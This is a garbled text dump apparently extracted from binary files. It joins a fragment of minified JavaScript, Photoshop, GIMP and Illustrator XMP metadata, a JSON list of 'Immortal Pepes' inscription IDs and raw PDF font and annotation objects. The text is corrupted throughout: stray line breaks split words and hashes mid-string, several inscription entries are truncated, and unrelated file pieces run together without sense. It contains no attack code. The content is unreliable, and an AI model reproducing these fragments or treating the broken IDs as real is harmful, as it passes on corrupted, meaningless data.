,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
/http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5b4, 2022/05/09-08:25:55        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotosM
hop 23.4 (Windows)" xmpMM:InstanceID="xmp.iid:C283A17DABD011ED8E688DE700A6664B" xmpMM:DocumentID="xmp.did:C283A17EABD011ED8E688DE700A6664B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C283A17BABD011ED8E688DE700A6664B" stRef:documentID="xmp.did:C283A17CABD011ED8E688DE700A6664B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
4B/)/B=3223=FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
!!*%*3  3F3*3FFF88FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
text/plain;charset=utf-8
@ImmortalPepes on Twitter
https://twitter.com/immortalpepes
Immortal Pepes Inscription IDs:
{"Immortal Pepes": "1", "inscription": "160b009bc9d319c37a3619539104664431bae73ec1b65ae030d4caf467d03e83i0"}
{"Immortal Pepes": "2", "inscription": "19ac04e672e0bf06460b8cbf1cdb6028710d49f7b19017dbbd84cb9ce489dbc6i0"}
{"Immortal Pepes": "3", "inscription": "0998b23e842c84c774109f33f3fccffb7815dd0fedc4ebe0248faff2f79d3208i0"}
{"Immortal Pepes": "4", "inscription": "06cbbacd052abdf68M
9e6ce8982e4d50263935a963731194c49606e9c8d0ad715i0"}
{"Immortal Pepes": "5", "inscription": "a8911353adbecfe523d1a562af7ede74a53ea56221bf6a4cf6bb96fab42f727di0"}
{"Immortal Pepes": "6", "inscription": "e7c5b3461d2bd539febb4701e00b5ffa8f9233ebecdad3e8cb194b2d290c50a9i0"}
{"Immortal Pepes": "7", "inscription": "89429ac1e5d6173c9b5002e0003fc2e27af0b2ad2734c3da2138961ef9a3c2d0i0"}
{"Immortal Pepes": "8", "inscription": "fb0400ded5cfce4bea1975bd246be58f4cfc06f8da29e94622e640976c231bd8i0"}
{"Immortal Pepes": "9", "inM
scription": "c5bed91f4899394523a6cd78439ec94f9ad18fe0f0fb6eb10703de94e4c4e61ei0"}
{"Immortal Pepes": "10", "inscription": "4f92099d9531de6e729521f28bde6161aa591cdd8e889e28756b6057fc5855a9i0"}
{"Immortal Pepes": "11", "inscription": "92d30eaf4ef10ccfa23689c8aabd7449481153f5240acea1df33823ee263c8f7i0"}
{"Immortal Pepes": "12", "inscription": "ad4f104c5c43ce231eee732e6df2a6aeefec6fb1326eb12b8532a664c3942a8ai0"}
{"Immortal Pepes": "13", "inscription": "b780a22ae9ada8e78342ba8ea0444ef455b56f8cdefa11533c44cc08824f219M
{"Immortal Pepes": "14", "inscription": "0d1a07622cc5ed2bd4e5947ae9b597c9efb0b0c63ba24f5620e9830a7695be9ai0"}
{"Immortal Pepes": "15", "inscription": "10869bfa1a4a472f46656630232853f6305414c4dcf4a76d9f643c8cf379007ei0"}
{"Immortal Pepes": "16", "inscription": "e8701e44011defcad3ee1c82b9229031d4ca89caf67ce0063beea3d851dcf31ai0"}
{"Immortal Pepes": "17", "inscription": "40f92b35f9130e7859dd69537d06d1d147604d0d26afb291a626f1153e080728i0"}
{"Immortal Pepes": "18", "inscription": "da21a0e4e92ce1eedcbe514cc0acM
0261f26657c2d704014d59284c166abc9dd1i0"}
{"Immortal Pepes": "19", "inscription": "4697d28ca1f959f386427aeb09dbb6b8d088a6a3fc5c2843974607848af10eebi0"}
{"Immortal Pepes": "20", "inscription": "0e22327265898ba6e0238eab3271c671ea25d160c29c33f1d9cd0ee2226afdfdi0"}
{"Immortal Pepes": "21", "inscription": "4734d28e8d7d28035ae78e580bb93a137f6cc8f454ff30d5be3374d2e2855e10i0"}
{"Immortal Pepes": "22", "inscription": "e5cc4c7d4f6dd775f0a69fdb21617b31e0e4c324cb12b75a091e2baf1033112ci0"}
{"Immortal Pepes": "23", "inscriptM
ion": "10abdb1710e53482c87fafaf6b4635ca17aeee576e58db499303a16b180d2476i0"}
{"Immortal Pepes": "24", "inscription": "d8bcc92a962f2b86844a619741cea662f92e4cb1206e89da02fcb6cab2fcaec1i0"}
{"Immortal Pepes": "25", "inscription": "2707ba17d266ef3aec64e8f9751e286bb93c0c86bde2d139f0956d00d31b80c3i0"}
{"Immortal Pepes": "26", "inscription": "183de8cc4d12e88daa2dd2229f300865c84d2d91b063a8df17a6aa4a79a23665i0"}
{"Immortal Pepes": "27", "inscription": "614ae27792b2cc5fc6990229ed23d9546f8a823e264e8162dfd7eaf9398e0c91i0"}
{"Immortal Pepes": "28", "inscription": "8d06e4657b87369b2ad7db9fe1352541617c68fb3ff315afbd3373d3aba21899i0"}
{"Immortal Pepes": "29", "inscription": "169c1e2b592196da1118d344c9419bc1eeb5363033d6162ed219c9369c0c16d4i0"}
{"Immortal Pepes": "30", "inscription": "74f9012dc117861aa0d2460fdefbf6e7040175ce86f60a946c6cc47d9bda05dfi0"}
{"Immortal Pepes": "31", "inscription": "8af4cc52dfe47c840ed40db53f9fb18e939ab10adf0fbb699ddf4b7f344c9d76i0"}
{"Immortal Pepes": "32", "inscription": "26d698cffc689948e0bf503cccf55628f8M
be312c4e54696f825cc4497ef10c9fi0"}
{"Immortal Pepes": "33", "inscription": "b2a0d76d42d8152bfc51a849e8f45f124b0ffa1df65d9f7f2ff0e1ae43a475d4i0"}
{"Immortal Pepes": "34", "inscription": "fcaad3deb5330b6482c3a3c4eb87d7553b6d732fdd40db5a497587892b8ba8f4i0"}
{"Immortal Pepes": "35", "inscription": "dd930fa7d565f0b8d6013aa2ee069ab7fc3a9db023765d467e44d89e5d9e60fdi0"}
{"Immortal Pepes": "36", "inscription": "0f2bf2875d2f02bc5ac196d65bf1e8710df906a36d921c8c8c0ced2647f1650bi0"}
{"Immortal Pepes": "37", "inscription": M
"7587693335b0beb0d33c98f8979e531c0a67b0f8a83a6d9602a8ea4d54d5ed1ai0"}
{"Immortal Pepes": "38", "inscription": "c7baf030801648e3cc42bcb3fe439905700605cf94d47186f8767658768b6f29i0"}
{"Immortal Pepes": "39", "inscription": "dcc08776fdeaa6693a8a46fcfae29362377093620a73681889fcf8acd6a3754ci0"}
{"Immortal Pepes": "40", "inscription": "6bc1f54bbcc55ec215aad4e12cfa354aa89447af4d7c38a78387d30710d0e971i0"}
{"Immortal Pepes": "41", "inscription": "d267d32fb81673e35d4c05f584f75fca5ff26eeab6059448266d38a293ff6985i0"}
ortal Pepes": "42", "inscription": "5781e8a52bd9062b64a6d9cf3a75389c4407b570adb12cb83ae45b8325f4368bi0"}
{"Immortal Pepes": "43", "inscription": "a16abacc34fd0c2719fe3e14ddbed103137c731d1f1923da37a6fdd992f1d8cdi0"}
{"Immortal Pepes": "44", "inscription": "97a2bd77aab53822b8dde28be3fed3b2a1f106306a89e8b58e143ba6ef8241e4i0"}
{"Immortal Pepes": "45", "inscription": "03795938c5c5ef9e54136b03d9f314d0888a8a612bbbe844cb467d718b7ec909i0"}
{"Immortal Pepes": "46", "inscription": "105d3185977c3aa4a7228ea4508cd3ce51faa30bM
97e083f382624896e47aa129i0"}
{"Immortal Pepes": "47", "inscription": "54e81779924bffd5d25b84d7e03d0783f8151e1f329943b13a0b8d768897f435i0"}
{"Immortal Pepes": "48", "inscription": "6e9567a4c970192625ece44f3de905c0cdb6612440ed3ee80ad383c62d54883ei0"}
{"Immortal Pepes": "49", "inscription": "cfd2459832180c935e334863f9e6f14d5a59bb6dbf8167b4dff6d7e4517c4b7di0"}
{"Immortal Pepes": "50", "inscription": "89bc2b8f521510783c0bd799f794727bd1cd7f21e62a76a00fcc4c2ac7b0cf8ci0"}
{"Immortal Pepes": "51", "inscription": "e4ebaM
555072c29654d6bd32ca0f0a2b511bf37b7c455577b2582c4a5b558ba8fi0"}
{"Immortal Pepes": "52", "inscription": "de907a76345287feeeca7ab4fccc5164966b8bb863a4177f5e4152910ee9e1a4i0"}
{"Immortal Pepes": "53", "inscription": "ab8d2583943f42c359f456a64d09240d549678cd92429305ac2c919f1b08e7d9i0"}
{"Immortal Pepes": "54", "inscription": "a396268b9dca0a4c3b7dbae99b6b4bbd140a39a0b76356c8cfa837801ba9d709i0"}
{"Immortal Pepes": "55", "inscription": "64f8962251db82250c0e70b31ba9ec5c32ca18ec6d6b3907a785d169fa0ff10fi0"}
Pepes": "56", "inscription": "6b04e6c886ac4c9428c151a80b6899e61219309abf7bcd715397544259fe3141i0"}
{"Immortal Pepes": "57", "inscription": "d7ba526c327d6ab0d188208932f36dfaf65809315c802b75ae799f7e28bec766i0"}
{"Immortal Pepes": "58", "inscription": "0935cfffd79af1a9361e72563bf665ecba68a8fd2bb56a39a902f85cf112d7b7i0"}
{"Immortal Pepes": "59", "inscription": "a82ce1be58e03f226fcc7a91d3803a454687d223a9d74ee4e2b4db2686f200e3i0"}
{"Immortal Pepes": "60", "inscription": "a7de4d1b24487962856fa16b2b894ba2be8e330a5c8ab0M
f11a410bddb49e14e9i0"}
{"Immortal Pepes": "61", "inscription": "25e5a212edb4576b80c5130c5defe10709eb7bc57561b90817be89a4bc38a5eei0"}
{"Immortal Pepes": "62", "inscription": "3131be771b6ed4f2b8db931197b51315a6615eda4ea91dab2cca3fa26785bcf4i0"}
{"Immortal Pepes": "63", "inscription": "c00ea4d71914116cb2c2a734cfe264a2ae62e33c470f49fd0ee2ab5bfbf0a31ci0"}
{"Immortal Pepes": "64", "inscription": "e9aee2f7af816aec47b6f8f15c88ef30a8168f28924e5e1e42af3d6975769484i0"}
{"Immortal Pepes": "65", "inscription": "d77da2fec69M
495dc9caeda910f21b4501560ccdaf19e75475e3c6a44a400c8d9i0"}
{"Immortal Pepes": "66", "inscription": "28d72b9856141ce19c199183334cab63f38704e918344d732903e96147289425i0"}
{"Immortal Pepes": "67", "inscription": "99bc9c242a95d6ec292bcaaa8111e126b42c6fb2e64ef6d5785d34e4eb3fb935i0"}
{"Immortal Pepes": "68", "inscription": "3559577629a6346709a55b2b085540e5faeca11b58b2b2e5ccc3729c468a9b78i0"}
{"Immortal Pepes": "69", "inscription": "663ca3d1e7175265b76877664b70ad6d01bc8133194680d96ad22ee6025ff3a0i0"}h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=M
"XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:8ebf2473-9244-452c-83d6-39a1a5eb60ab" xmpMM:InstanceID="xmp.iid:8b02b0de-0807-418f-a6ee-fc3M
b7453e945" xmpMM:OriginalDocumentID="xmp.did:75db09e8-a72a-42c4-9300-d366f07b99bd" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676317363674225" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:13T14:42:36-05:00" xmp:ModifyDate="2023:02:13T14:42:36-05:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:11915e77-1654-44eb-8c87-ebbeee502e36" stEvt:softwareAgent="Gimp 2.10 (Windows)" sM
tEvt:when="2023-02-13T14:40:58"/> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:4d24c548-c09b-46b8-82cb-4543592671cc" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-13T14:42:43"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                    M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                     <?xpacket end="w"?>h!
<</Linearized 1/L 184622/O 10/E 172142/N 1/T 184348/H [ 1376 281]>>
<</Size 62/Root 9 0 R/Info 7 0 R/ID[<3DD0E233061D449FB063BA7E77878260><C1A115B44BB1B2110A00F03B7537FE7F>]/Prev 184338>>

<</Filter/FlateDecode/I 235/Length 189/O 219/S 40/T 177>>stream
<</Lang(en-US)/Metadata 6 0 R/Outlines 3 0 R/Pages 5 0 R/Type/Catalog/ViewerPreferences<</Direction/L2R>>>>
<</Annots 11 0 R/ArtBox[0.0 0.0 612.0 792.0]/BleedBox[0.0 0.0 612.0 792.0]/Contents[20 0 R 21 0 R 24 0 R 25 0 R 26 0 R 28 0 R 29 0 R 30 0 R]/CropBox[0.0 0.0 612.0 792.0]/MediaBox[0.0 0.0 612.0 792.0]/Parent 5 0 R/PieceInfo<</InDesign<</DocumentID(
Z)/NumberofPages 1/OriginalDocumentID(
6)/PageUIDList<</0 5000>>/PageWidthList<</0 612.0>>>>>>/Resources<</ColorSpace<</CS0 17 0 R/CS1 18 0 R/CS2 19 0 R>>/ExtGState<</GS0 34 0 R/GS1 35 0 R>>/Font<</T1_0 22 0 R/T1_1 23 0 R/T1_2 27 0 R>>/ProcSet[/PDF/Text/ImageC/ImageI]/Properties<</MC0 47 0 R/MC1 49 0 R>>/XObject<</Im0 51 0 R/Im1 53 0 M
R/Im2 55 0 R>>>>/Rotate 0/Tabs/W/Thumb 4 0 R/TrimBox[0.0 0.0 612.0 792.0]/Type/Page>>
[12 0 R 13 0 R 14 0 R 15 0 R 16 0 R]
<</A 56 0 R/BS<</S/S/Type/Border/W 0>>/Border[0 0 0]/H/N/Rect[415.0 380.896 477.71 371.568]/Subtype/Link/Type/Annot>>
<</A 57 0 R/BS<</S/S/Type/Border/W 0>>/Border[0 0 0]/H/N/Rect[415.0 362.896 460.513 353.568]/Subtype/Link/Type/Annot>>
<</A 58 0 R/BS<</S/S/Type/Border/W 0>>/Border[0 0 0]/H/N/Rect[415.0 344.896 480.074 335.568]/SubM
type/Link/Type/Annot>>
<</A 59 0 R/BS<</S/S/Type/Border/W 0>>/Border[0 0 0]/H/N/Rect[415.0 326.896 464.421 317.568]/Subtype/Link/Type/Annot>>
<</A 60 0 R/BS<</S/S/Type/Border/W 0>>/Border[0 0 0]/H/N/Rect[415.0 308.896 448.109 299.568]/Subtype/Link/Type/Annot>>
[/Indexed 17 0 R 61 32 0 R]
[/Indexed 17 0 R 127 33 0 R]
<</Filter/FlateDecode/Length 1061>>stream
<</Filter/FlateDecode/Length 1232>>stream
<</BaseFont/LZYVVA+YanoneKaffeesatz-Regular/Encoding/WinAnsiEncoding/FirstChar 32/FontDescriptor 37 0 R/LastChar 121/Subtype/Type1/ToUnicode 38 0 R/Type/Font/Widths[157 0 0 0 0 0 502 0 0 0 470 0 0 0 0 0 0 0 0 417 0 417 0 0 0 0 0 0 0 0 0 0 0 437 376 339 3M
93 320 312 385 0 0 0 393 0 489 0 0 360 0 373 0 373 0 0 0 0 0 0 0 0 0 0 0 0 354 0 313 386 361 255 0 380 175 0 0 173 563 382 368 383 0 263 345 291 390 0 540 0 356]>>
<</BaseFont/LZYVVA+HelveticaNeueLTStd-Roman/Encoding 39 0 R/FirstChar 31/FontDescriptor 41 0 R/LastChar 176/Subtype/Type1/ToUnicode 42 0 R/Type/Font/Widths[518 278 0 426 0 0 0 630 278 259 259 352 0 278 389 278 333 556 556 556 556 556 556 556 556 556 556 278 0 0 0 0 0 0 648 685 722 704 611 574 759 722 259 0 0 556 871 722 760 648 760 685 64M
8 574 722 611 926 611 648 0 0 0 0 0 0 0 537 593 537 593 537 296 574 556 222 222 519 222 853 556 574 593 0 333 500 315 556 500 758 518 500 480 0 0 0 0 0 0 0 0 0 0 0 556 0 0 0 0 0 0 0 0 0 0 0 278 0 0 0 0 0 0 990 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 800 0 0 0 0 800 0 400]>>
<</Filter/FlateDecode/Length 1270>>stream
<</Filter/FlateDecode/Length 1162>>stream
<</Filter/FlateDecode/Length 1166>>stream
<</BaseFont/LZYVVA+HelveticaNeueLTStd-Bd/Encoding/WinAnsiEncoding/FirstM
Char 32/FontDescriptor 44 0 R/LastChar 121/Subtype/Type1/ToUnicode 45 0 R/Type/Font/Widths[278 0 0 0 0 0 0 0 0 0 0 0 0 407 0 0 556 556 0 0 556 556 0 0 0 0 278 0 0 0 0 0 0 685 704 741 741 0 593 0 741 0 0 0 0 907 0 0 667 0 0 649 0 0 0 944 0 0 0 0 0 0 0 0 0 574 611 574 0 574 0 0 593 258 0 0 258 906 593 611 0 0 389 537 0 593 520 0 0 519]>>
<</Filter/FlateDecode/Length 1335>>stream
<</Filter/FlateDecode/Length 1232>>stream
<</Filter/FlateDecode/Length 895>>stream
<</Filter/FlateDecode/Length 2574/N 3>>stream
<</Filter/FlateDecode/Length 113>>stream
<</Filter/FlateDecode/Length 220>>stream
<</AIS false/BM/Normal/CA 1.0/OP false/OPM 1/SA true/SMask/None/Type/ExtGState/ca 1.0/op false>>
<</AIS false/BM/Normal/M
CA 1.0/OP true/OPM 0/SA true/SMask/None/Type/ExtGState/ca 1.0/op true>>
<</Filter/FlateDecode/Length 3089/Subtype/Type1C>>stream
<</Ascent 957/CapHeight 700/CharSet(/space/ampersand/asterisk/three/five/A/B/C/D/E/F/G/K/M/P/R/T/a/c/d/e/f/h/i/l/m/n/o/p/r/s/t/u/w/y)/Descent -206/Flags 32/FontBBox[-107 -206 937 957]/FontFamily(Yanone Kaffeesatz Regular)/FontFile3 36 0 R/FontName/LZYVVA+YanoneKaffeesatz-Regular/FontStretch/Normal/FontWeight 400/ItalicAngle 0/StemV 80/Type/FontDescriptor/XHeight 500>>
<</Filter/FlateDecode/Length 388>>stream
<</BaseEncoding/WinAnsiEncoding/Differences[31/f_i]/TyM
<</Filter/FlateDecode/Length 4891/Subtype/Type1C>>stream
<</Ascent 952/CapHeight 714/CharSet(/f_i/space/quotedbl/ampersand/quotesingle/parenleft/parenright/asterisk/comma/hyphen/period/slash/zero/one/two/three/four/five/six/seven/eight/nine/colon/A/B/M
C/D/E/F/G/H/I/L/M/N/O/P/Q/R/S/T/U/V/W/X/Y/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/r/s/t/u/v/w/x/y/z/dagge\
r/quoteright/trademark/copyright/registered/degree)/Descent -214/Flags 32/FontBBox[-166 -214 1076 952]/FontFamily(HelveticaNeueLT Std)/FontFile3 40 0 R/FontName/LZYVVA+HelveticaNeueLTStd-Roman/FontStretch/Normal/FontWeight 400/ItalicAngle 0/StemV 84/Type/FontDescriptor/XHeight 517>>
<</Filter/FlateDecode/Length 576>>stream
<</Filter/FlateDecode/Length 2301/Subtype/Type1C>>stream
<</Ascent 975/CapHeight 714/CharSet(/space/hyphen/zero/one/four/five/colon/A/B/C/D/F/H/M/P/S/W/a/b/c/e/h/i/l/m/n/o/r/s/u/v/y)/Descent -218/Flags 32/FontBBox[-166 -218 1078 975]/FontFamily(HelveticaNeueLT Std)/FM
ontFile3 43 0 R/FontName/LZYVVA+HelveticaNeueLTStd-Bd/FontStretch/Normal/FontWeight 700/ItalicAngle 0/StemV 144/Type/FontDescriptor/XHeight 517>>
<</Filter/FlateDecode/Length 377>>stream
<</Length 8480/Subtype/XML/Type/Metadata>>stream
" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57        ">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:dc="http://purl.org/dc/elements/1.1/"
            xmlns:xmp="http://ns.adobe.com/xap/1.0/"
        xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
            xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
            xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
            xmlns:illustrator="http://ns.adobe.com/illustrator/1.0/"
            xmlns:xmpTPg="http://ns.adobe.com/xap/1.0/t/pg/"
            xmlns:stDim="http://ns.adobe.com/xap/1.0/sType/Dimensions#"
            xmlns:xmpG="http://ns.adobe.com/xap/1.0/g/"
            xmlns:pdf="http://ns.adobe.com/pdf/1.3/">
   <dc:format>application/pdf</dc:format>
            <rdf:Alt>
               <rdf:li xml:lang="x-default">Dish_TallTub_BW</rdf:li>
            </rdf:Alt>
         </dc:title>
         <xmp:CreatorTool>Adobe Illustrator 24.0 (Macintosh)</xmp:CreatorTool>
         <xmp:CreateDate>2019-12-27T14:47:35-05:00</xmp:CreateDate>
         <xmp:ModifyDate>2019-12-27T14:47:36-05:00</xmp:ModifyDate>
         <xmp:MetadataDate>2019-12-27T14:47:36-05:00</xmp:MetadataDate>
         <xmpMM:DocumentID>xmp.did:0M
2801174072068118083DBE135E50B2D</xmpMM:DocumentID>
         <xmpMM:InstanceID>uuid:0dda8dd2-9c02-394b-93e6-a3513e6f282f</xmpMM:InstanceID>
         <xmpMM:OriginalDocumentID>uuid:5A44A0B1C55611DEBE58BE8848C34AD2</xmpMM:OriginalDocumentID>
         <xmpMM:RenditionClass>proof:pdf</xmpMM:RenditionClass>
         <xmpMM:DerivedFrom rdf:parseType="Resource">
            <stRef:instanceID>uuid:f2bc740f-fddd-4897-9a57-a3d3ab13205e</stRef:instanceID>
            <stRef:documentID>xmp.did:74117FE32007116894578E71DAD657C1</M
            <stRef:originalDocumentID>uuid:5A44A0B1C55611DEBE58BE8848C34AD2</stRef:originalDocumentID>
            <stRef:renditionClass>proof:pdf</stRef:renditionClass>
         </xmpMM:DerivedFrom>
         <xmpMM:History>
            <rdf:Seq>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:74117FE32007116894578E71DAD657C1</stEvt:instanceID>
                  <stEvt:when>2011-02-10T13:16:43-05:00</M
                  <stEvt:softwareAgent>Adobe Illustrator CS4</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:02801174072068118083DBE135E50B2D</stEvt:instanceID>
                  <stEvt:when>2012-03-20T11:41:19-04:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Illustrator CS5.1</stEvt:softwareAgenM
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
            </rdf:Seq>
         </xmpMM:History>
         <illustrator:Type>Document</illustrator:Type>
         <illustrator:CreatorSubTool>AIRobin</illustrator:CreatorSubTool>
         <xmpTPg:NPages>1</xmpTPg:NPages>
         <xmpTPg:HasVisibleTransparency>False</xmpTPg:HasVisibleTransparency>
         <xmpTPg:HasVisibleOverprint>False</xmpTPg:HasVisibleOverprint>
         <xmpTPg:MaxPageSize rdf:parseType="Resource">
im:w>63.500000</stDim:w>
            <stDim:h>63.500000</stDim:h>
            <stDim:unit>Millimeters</stDim:unit>
         </xmpTPg:MaxPageSize>
         <xmpTPg:PlateNames>
            <rdf:Seq>
               <rdf:li>Cyan</rdf:li>
               <rdf:li>Black</rdf:li>
            </rdf:Seq>
         </xmpTPg:PlateNames>
         <xmpTPg:SwatchGroups>
            <rdf:Seq>
               <rdf:li rdf:parseType="Resource">
                  <xmpG:groupName>Default Swatch Group</xmpG:groupName>
                  <xmM
pG:groupType>0</xmpG:groupType>
                  <xmpG:Colorants>
                     <rdf:Seq>
                        <rdf:li rdf:parseType="Resource">
                           <xmpG:swatchName>White</xmpG:swatchName>
                           <xmpG:type>PROCESS</xmpG:type>
                           <xmpG:tint>100.000000</xmpG:tint>
                           <xmpG:mode>CMYK</xmpG:mode>
                           <xmpG:cyan>0.000000</xmpG:cyan>
                           <xmpG:magenta>0.000000</xmpG:magentaM
                           <xmpG:yellow>0.000000</xmpG:yellow>
                           <xmpG:black>0.000000</xmpG:black>
                        </rdf:li>
                        <rdf:li rdf:parseType="Resource">
                           <xmpG:swatchName>Black</xmpG:swatchName>
                           <xmpG:type>PROCESS</xmpG:type>
                           <xmpG:tint>100.000000</xmpG:tint>
                           <xmpG:mode>CMYK</xmpG:mode>
                           <xmpG:cyan>0.000000</xmpG:cyan>
                          <xmpG:magenta>0.000000</xmpG:magenta>
                           <xmpG:yellow>0.000000</xmpG:yellow>
                           <xmpG:black>100.000000</xmpG:black>
                        </rdf:li>
                        <rdf:li rdf:parseType="Resource">
                           <xmpG:swatchName>6 WP</xmpG:swatchName>
                           <xmpG:type>PROCESS</xmpG:type>
                           <xmpG:tint>100.000000</xmpG:tint>
                           <xmpG:mode>CMYK</xmpG:modM
                           <xmpG:cyan>6.000000</xmpG:cyan>
                           <xmpG:magenta>0.000000</xmpG:magenta>
                           <xmpG:yellow>0.000000</xmpG:yellow>
                           <xmpG:black>0.000000</xmpG:black>
                        </rdf:li>
                        <rdf:li rdf:parseType="Resource">
                           <xmpG:swatchName>10 WP</xmpG:swatchName>
                           <xmpG:type>PROCESS</xmpG:type>
                           <xmpG:tint>100.000000</xM
                           <xmpG:mode>CMYK</xmpG:mode>
                           <xmpG:cyan>10.000000</xmpG:cyan>
                           <xmpG:magenta>0.000000</xmpG:magenta>
                           <xmpG:yellow>0.000000</xmpG:yellow>
                           <xmpG:black>0.000000</xmpG:black>
                        </rdf:li>
                        <rdf:li rdf:parseType="Resource">
                           <xmpG:swatchName>20 WP</xmpG:swatchName>
                           <xmpG:type>PROCESS<M
                           <xmpG:tint>100.000000</xmpG:tint>
                           <xmpG:mode>CMYK</xmpG:mode>
                           <xmpG:cyan>20.000000</xmpG:cyan>
                           <xmpG:magenta>0.000000</xmpG:magenta>
                           <xmpG:yellow>0.000000</xmpG:yellow>
                           <xmpG:black>0.000000</xmpG:black>
                        </rdf:li>
                        <rdf:li rdf:parseType="Resource">
                           <xmpG:swatchName>30 WP</M
                           <xmpG:type>PROCESS</xmpG:type>
                           <xmpG:tint>100.000000</xmpG:tint>
                           <xmpG:mode>CMYK</xmpG:mode>
                           <xmpG:cyan>30.000001</xmpG:cyan>
                           <xmpG:magenta>0.000000</xmpG:magenta>
                           <xmpG:yellow>0.000000</xmpG:yellow>
                           <xmpG:black>0.000000</xmpG:black>
                        </rdf:li>
                        <rdf:li rdf:parseType=M
                           <xmpG:swatchName>42 WP</xmpG:swatchName>
                           <xmpG:type>PROCESS</xmpG:type>
                           <xmpG:tint>100.000000</xmpG:tint>
                           <xmpG:mode>CMYK</xmpG:mode>
                           <xmpG:cyan>41.999999</xmpG:cyan>
                           <xmpG:magenta>0.000000</xmpG:magenta>
                           <xmpG:yellow>0.000000</xmpG:yellow>
                           <xmpG:black>0.000000</xmpG:black>
                     </rdf:Seq>
                  </xmpG:Colorants>
               </rdf:li>
            </rdf:Seq>
         </xmpTPg:SwatchGroups>
         <pdf:Producer>Adobe PDF library 15.00</pdf:Producer>
      </rdf:Description>
<</Metadata 46 0 R>>
<</Length 23474/Subtype/XML/Type/Metadata>>stream
" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMM
P Core 5.6-c148 79.164036, 2019/08/13-01:06:57        ">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:dc="http://purl.org/dc/elements/1.1/"
            xmlns:xmp="http://ns.adobe.com/xap/1.0/"
            xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
            xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
            xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
            xmlns:illustrator="http://ns.adM
obe.com/illustrator/1.0/"
            xmlns:xmpTPg="http://ns.adobe.com/xap/1.0/t/pg/"
            xmlns:stDim="http://ns.adobe.com/xap/1.0/sType/Dimensions#"
            xmlns:xmpG="http://ns.adobe.com/xap/1.0/g/"
            xmlns:pdf="http://ns.adobe.com/pdf/1.3/"
            xmlns:pdfx="http://ns.adobe.com/pdfx/1.3/">
         <dc:format>application/pdf</dc:format>
            <rdf:Alt>
               <rdf:li xml:lang="x-default">1480534353025</rdf:li>
            </rdf:Alt>
         <xmp:MetadataDate>2019-09-05T13:43:20-04:00</xmp:MetadataDate>
         <xmp:ModifyDate>2019-09-05T13:43:20-04:00</xmp:ModifyDate>
         <xmp:CreateDate>2016-11-30T14:32:34-05:00</xmp:CreateDate>
